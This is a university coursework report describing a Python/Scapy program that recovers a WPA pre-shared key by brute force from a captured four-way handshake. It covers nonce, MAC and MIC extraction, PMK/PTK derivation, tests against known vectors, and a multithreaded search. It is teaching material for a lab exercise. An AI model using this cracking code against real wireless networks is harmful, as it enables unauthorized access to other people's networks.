Report: Réseaux Avancé II

Nguyen Viet Sang, **Le Tan Nhat Linh**
viet-sang.nguyen@etu.unilim.fr, tan-nhat-linh.le@etu.unilim.fr

Master 1 Cryptis, Faculty of Science and Technique, University of Limoges

1 Introduction

In this project, we implement a brute-force algorithm to find WiFi password based on analysing packets of connection. The PSK in the file `capture_wpa.pcap` was found by our program and it is `aaaababa`. We not only follow the guidance to implement program, but also propose a method of using **multi-threads** to reduce time of searching.

This report is organised as follows:

- Section 2 presents the general flow of our algorithm. This flow begins with getting information from packets such as SSID, MAC addresses, Number used ONCE, MIC, EAPOL field. Then, we calculate PMK, PTK and MIC with these information and a PSK.
- Section 3 discusses the details of some function such as calculating PTK with PRF512, getting SSID, etc.
- Section 4 shows the method we use to verify all functions with 3 given tests before searching brute-force.
- Section 5 proposes a method in which we utilise multi-threads to reduce computing time. We also discuss some positive points as well as drawbacks of this method.
- Section 6 concludes our work.

2 Flow of brute-force attack

2.1 Get SSID and MAC addresses

Listing 1.1 shows the work of getting some basic information in the protocol. Firstly, we read the `pcap` file (line 1), then get SSID (line 2) and MAC addresses (line 8) from suitable packets. We notice that SSID is got from a *broadcast* packet and MAC addresses are got from the first EAPOL packet. There are many packets with different types in the provided file. After receiving SSID, we get only EAPOL packets by filtering as shown on line 5. It is asserted that there are exactly 4 EAPOL packets (line 6). We determine `lower_mac` and `higher_mac` by a comparison (lines 11-18).

```
1  packets = rdpcap(PATH_TO_CAPTURE_WPA)
2  ssid = get_ssid(packets)
3  ssid = ssid.decode ()
4
5  packets = [p for p in packets if EAPOL in p]
6  assert len(packets) == 4
7
8  src_mac, dst_mac = get_mac_addr(packets[0])
9  src_mac = src_mac.replace(':', '')
10 dst_mac = dst_mac.replace(':', '')
11 if int(src_mac, 16) < int(dst_mac, 16):
12   lower_mac = cs(src_mac)
13   higher_mac = cs(dst_mac)
14 elif int(src_mac, 16) > int(dst_mac, 16):
15   lower_mac = cs(dst_mac)
16   higher_mac = cs(src_mac)
17 else:
18   raise ValueError
```

Listing 1.1: Get SSID and `MAC` addresses

2.2 Get Number used ONCE (nonce)

We consider listing 1.2. Lines 1-3 remove padding for every packets. We then get `nonce` of station (`s_nonce`) and `nonce` of access point (`a_nonce`) on lines 5-7. We notice that `a_nonce` is the most recent one which can be in the third EAPOL packet or the first EAPOL packet (lines 5-6). After that, we determine `lower_nonce` and `higher_nonce` by comparison their integers (lines 9-16).

```
1  for i, pi in enumerate(packets):
2    if Padding in pi:
3      packets[i] = Raw(pi).load[:-len(pi[Padding])]
4
5  a_nonce = get_nonce(packets[2]) if get_nonce(packets[2]) \
6      else get_nonce(packets[0])
7  s_nonce = get_nonce(packets[1])
8
9  if int.from_bytes(a_nonce) < int.from_bytes(s_nonce):
10   lower_nonce = a_nonce
11   higher_nonce = s_nonce
12 elif int.from_bytes(a_nonce) > int.from_bytes(s_nonce):
13   lower_nonce = s_nonce
14   higher_nonce = a_nonce
15 else:
16   raise ValueError
```

Listing 1.2: Get `nonce`

2.3 Get MIC and EAPOL field

We next generate a set of possible PSKs as shown on lines 1-3 in listing 1.3. It is necessary to get the content of EAPOL field and MIC in the last EAPOL packet (line 5-6). We then replace the MIC in content of EAPOL field by a chain of byte `'\x00'` which has the same length as MIC (lines 11-12). We get the type of hash algorithm (`hash_type_mic`) using to create MIC as line 14 (value 1 for MD5 and 2 for SHA1).

```
1  pre_known = 'aaaa'
2  psk_set = generate_psk_set(LEN_PSK)
3  psk_set = [pre_known + ''.join(p) for p in psk_set]
4
5  eapol = packets[3][EAPOL]
6  mic = packets[3][EAPOL][WPA_key].wpa_key_mic
7  lm = len(mic)
8  assert lm == 16
9
10 # replace mic in 4th packet with chain of zero
11 lbm = len(eapol) - (lm + 2) # len_before_mic (2 is wpa_key_length)
12 eapol = Raw(eapol).load[:lbm] + b'\x00'*lm + Raw(eapol).load[lbm+lm:]
13
14 hash_type_mic = get_key_descriptor_Version(packets[3])
```

Listing 1.3: Get content of EAPOL field

2.4 Brute-force algorithm

We then examine each PSK in `psk_set` as shown in listing 1.4. We firstly calculate PMK with two arguments of PSK and SSID by the algorithm PBKDF2 (line 6). We secondly calculate PTK with the arguments of PMK, `lower_mac`, `higher_mac`, `lower_nonce` and `higher_nonce` (line 10). KCK is then derived from PTK (line 11). Next, MIC is calculated by applying suitable hash algorithm (line 13-19). We notice that MIC is the first 16 bytes of this result (line 19). Finally, we compare the calculated MIC with the one we have got from the last EAPOL packet (lines 21-23).

```
count = 0
for psk in psk_set:
  count += 1
  print('{} Trying with PSK "{}"...'.format(count, psk))

  pmk = calculate_pbkdf2(psk, ssid)
  assert len(pmk) == 32
  ptk = calculate_prf512(pmk,
    'Pairwise key expansion',
    lower_mac + higher_mac + lower_nonce + higher_nonce)
  kck = ptk[:16]

  if hash_type_mic == 1: # MD5
    mic_fake = calculate_hmac_md5(kck, eapol)
  elif hash_type_mic == 2: # SHA1
    mic_fake = calculate_hmac_sha1(kck, eapol)
  else:
    raise ValueError
  mic_fake = mic_fake[:16]

  if mic_fake == mic:
    print('Bravo! PSK is: ', psk)
    break
```

Listing 1.4: Brute-force algorithm

3 Functions in detail

Besides some useful provided functions such as HMAC calculation and PBKDF2 calculation, we need to define other functions.

3.1 Generate a set of possible PSKs

From 26 letters in English alphabet, we generate all possible combinations for a chain of 4 characters (listing 1.5). We notice that the format of PSK is `aaaa****`. This generation is supported by library `itertools` of Python.

```
def generate_psk_set(length=None):
  letters = 'qwertyuiopasdfghjklzxcvbnm'
  if length:
    cases = itertools.product(letters, repeat=length) # length = 4
    return cases
  else:
    raise ValueError
```

Listing 1.5: Generate all possible PSKs

3.2 Get SSID

SSID is got from a broadcast packet. Depending on the version of protocol, it can be included in the field `Dot11` or `Dot11FCS`. We firstly check the `Flags` of the packet to determine which field contains the SSID as shown in listing 1.6

```
def get_ssid(packets):
  for pkt in packets:
    if pkt.Flags == 0:
      if Dot11 in pkt and Dot11Elt in pkt[Dot11]:
        if pkt[Dot11][Dot11Elt].ID == 0:
          ssid = pkt[Dot11][Dot11Elt].info
          return ssid
```

```
8     if pkt.Flags == 16:
9       if Dot11FCS in pkt and Dot11Elt in pkt[Dot11FCS]:
10        if pkt[Dot11FCS][Dot11Elt].ID == 0:
11          ssid = pkt[Dot11FCS][Dot11Elt].info
12          return ssid
13
14  raise ValueError
```

Listing 1.6: Get SSID

3.3 Get nonce

Given a packet containing `nonce`, we get it by the command in Scapy as line 3 in listing 1.7. For the file `wpa-Induction.pcap`, we get `a_nonce` from the first EAPOL packet and `s_nonce` from the second EAPOL packet. For the file `capture_wpa.pcap`, `a_nonce` and `s_nonce` are got from the first and the third packets, respectively.

```
1 def get_nonce(packet):
2   if EAPOL in packet and WPA_key in packet[EAPOL]:
3     nonce = packet[EAPOL][WPA_key].nonce
4     return nonce
5   else:
6     raise ValueError
```

Listing 1.7: Get `nonce` from EAPOL packet

3.4 Get MAC address

MAC addresses are got from a EAPOL packet as shown in listing 1.8. As getting SSID, it must be determined the version of protocol before locating the positions of MAC addresses. In practice, we use the first EAPOL packet to get MAC addresses. However, we can get them from any of 4 EAPOL packets.

```
1 def get_mac_addr(packet):
2   if packet.Flags == 0: # Dot11
3     src_mac = packet[Dot11].addr2
4     dst_mac = packet[Dot11].addr1
5     return src_mac, dst_mac
6   elif packet.Flags == 16: # Dot11FCS
7     src_mac = packet[Dot11FCS].addr2
8     dst_mac = packet[Dot11FCS].addr1
9     return src_mac, dst_mac
10  else:
11    raise ValueError
```

Listing 1.8: Get MAC addresses

3.5 Calculate PTK with PRF512

We follow the provided algorithm as shown in listing 1.9. Besides arguments, we need to initialise a counter and concatenate them before applying algorithm SHA1 (lines 11-12). The first 64 bytes of result are returned as the PTK (line 15).

```
1 def calculate_prf512(k, a, b):
2   '''
3   Args: k (pmk in bytes)
4     a ("pairwise key expansion" in str)
5     b (lower MAC | higher MAC | lower nonce | higher nonce) in bytes
6   '''
7   R = b''
8   counter = 0
```

```
9   zero = (0).to_bytes(1, byteorder='big')
10  while len(R)*8 < 512:
11    concat = a.encode() + zero + b + counter.to_bytes(1, byteorder='big')
12    r = calculate_hmac_sha1(k, concat)
13    R += r
14    counter += 1
15  R = R[:64] # 64 x 8 = 512
16  return R
```

Listing 1.9: Calculate PTK with algorithm PRF512

3.6 Get type of hash algorithms

For MIC calculation, it is necessary to determine which hash algorithm is used. The field `key_descriptor_Version` in the last EAPOL packet gives us this type. Passing the fourth EAPOL packet, we get the type of hash algorithm as line 3 in listing 1.10

```
1 def get_key_descriptor_Version(packet):
2   if EAPOL in packet and WPA_key in packet[EAPOL]:
3     return packet[EAPOL][WPA_key].key_descriptor_Version
4   else:
5     raise ValueError
```

Listing 1.10: Get type of hash algorithm

4 Verify with 3 tests

Before searching brute-force in `capture_wpa.pcap`, we need to ensure that all above functions are well defined. Otherwise, it is too time-consuming to search again if there is even a small error. We begin with the first two tests which are provided the results step by step. The idea of testing is to examine the accuracy of each function component as shown in listings 1.11 and 1.12. In this section, we analyse the radius test to show the idea.

Consider listing 1.11, we convert MAC addresses from hexadecimal to bytes by the function `cs` (lines 4-5). We assert the accuracy of function `cs` by comparing with the desired results (lines 7-8). We then apply our function to calculate PMK and assert the result of this function with given result (lines 14-17). Once confirming these functions work well, we could apply them to calculate other values such as `nonce` (lines 24-25).

```
1  psk = 'radiustest'
2  ssid = 'linksys54gh'
3
4  mac_s = '00:0c:41:d2:94:fb'; mac_s = mac_s.replace(':', '')
5  mac_a = '00:0d:3a:26:10:fb'; mac_a = mac_a.replace(':', '')
6
7  assert cs(mac_s) == b'\x00\x0c\x41\xd2\x94\xfb'
8  assert cs(mac_a) == b'\x00\x0d\x3a\x26\x10\xfb'
9
10 assert int(mac_s, 16) < int(mac_a, 16)
11 lower_mac = cs(mac_s)
12 higher_mac = cs(mac_a)
13
14 pmk = calculate_pbkdf2(psk, ssid)
15 lpmk = '9e99 88bd e2cb a743 95c0 289f fda0 7bc4 1ffa 889a 3309 237a 2240 c934
       bcdc 7ddb'
16 lpmk = cs(lpmk.replace(' ', '')) # label pmk (given pmk)
17 assert pmk == lpmk
18
19 a_nonce = '893e e551 2145 57ff f3c0 76ac 9779 15a2 0607 2703 8e9b ea9b 6619
      a5ba b40f 89c1'
20 s_nonce = 'dabd c104 d457 411a ee33 8c00 fa8a 1f32 abfc 6cfb 7943 60ad ce3a
      fb5d 159a 51f6'
```

```
a_nonce = a_nonce.replace(' ', '')
s_nonce = s_nonce.replace(' ', '')
assert int(a_nonce, 16) < int(s_nonce, 16)
lower_nonce = cs(a_nonce)
higher_nonce = cs(s_nonce)
```

Listing 1.11: Test calculating functions 1

Consider listing 1.12, we calculate PTK using the funtion PRF512 and then compare the its result with the given result (lines 1-12). Similarly, we examine the accuracy of HMAC calculation (lines 14-29). If this program finishes with no error, it means all defined functions work well.

```
ptk = calculate_prf512(pmk,
    'Pairwise key expansion',
    lower_mac + higher_mac + lower_nonce + higher_nonce
  )
lptk = '\
ccbf 97a8 2b5c 51a4 4325 a77e 9bc5 7050 \
daec 5438 430f 00eb 893d 84d8 b4b4 b5e8 \
19f4 dce0 cc5f 2166 e94f db3e af68 eb76 \
80f4 e264 6e6d 9e36 260d 89ff bf24 ee7e\
'
lptk = cs(lptk.replace(' ',')) # label PTK (given PTK)
assert ptk == lptk

kck = ptk[:16]
eapol = '\
0103 005f fe01 0900 0000 0000 0000 0000 \
1400 0000 0000 0000 0000 0000 0000 0000 \
0000 0000 0000 0000 0000 0000 0000 0000 \
0000 0000 0000 0000 0000 0000 0000 0000 \
0000 0000 0000 0000 0000 0000 0000 0000 \
0000 0000 0000 0000 0000 0000 0000 0000 \
0000 00'
eapol = cs(eapol.replace(' ', ''))
mic = calculate_hmac_md5(kck, eapol)
mic = mic[:16]
lmic = 'd0ca 4f2a 783c 4345 b0c0 0a12 ecc1 5f77' # label MIC (given MIC)
lmic = cs(lmic.replace(' ', ''))

assert mic == lmic
print('Successfully!')
```

Listing 1.12: Test calculating functions 2

For the second test, we use the same method to assert at each step of calculating. For the file `wpa-Induction.pcap`, we apply directly our program with the given PSK (`Induction`). The result is our program passes both of these tests.

5 Utilise multi-threads to search

In the worst case, the program will traverse all $26^4 = 456976$ possible cases. In our personal computer, which has 2.6 GHz of processor (1 core) and 8 GB of RAM, it takes about 15 hours for brute-force. Therefore, it is more ideal if we utilise parallel computing. Applying GPGPU is not a bad idea, however, it is complicated because the main program needs to call a lot of supportive functions and libraries. Instead, we utilise multi-threads techniques.

The implementation is shown in listing 1.13. We firstly create a pool of threads with 100 threads maximum (line 12). We then pass the function of calculating MIC and set of possible PSKs to this pool (line 14). The scheduler will divides PSKs to each thread. In practice, we use Google Colab to run the program (2.2 GHz of processor (2 core), 13 GB of RAM). We could utilise 4 threads on this device and it takes totally about 3.5 hours.

```python
import threading

def calculate_mic(psk):
    # ...
    if mic_fake == mic:
      print('Bravo! PSK is: ', psk)
      return True
    else:
      return False

if __name__ == '__main__':
    with ThreadPoolExecutor(max_workers = 100) as executor:
      print('Number of threads: ', threading.active_count())
      results = executor.map(calculate_mic, psk_set)

    idx = list(results).index(True)
    print('Bravo! PSK is ', list(psk_set)[idx])
```

Listing 1.13: Brute-force with multi-threads

Discussion:

- Despite applying multi-threads, the main reason of reducing computing time comes from the power of the device. We also test with sequential computing on the same device. The result is that the executing time of parallel computing is a little bit smaller than the time of sequential computing. It shows that threading has an impact on computing time, but it is not too much. The reason might be a considered amount of time taken by the scheduler to divide tasks for threads.
- Besides, it is not sure that PSK can be found faster thanks to parallel computing. For example, we suppose that `aaaaaaaa` is the PSK and it is also the first case to be traversed when searching brute-force. For the sequential searching, we can `break` the loop and come to the end. But with parallel computing, it must always test all possible PSKs before returning the solution.

6 Conclusion

In this project, we successfully implement a program to find WiFi password with brute-force by analysing packets of connection. Our program works well on 3 given tests and the PSK in the file `capture_wpa.pcap` was also found. Besides, we propose a method of utilising multi-threads to reduce time of searching and test on it. It is probably better in some cases depending on many conditions.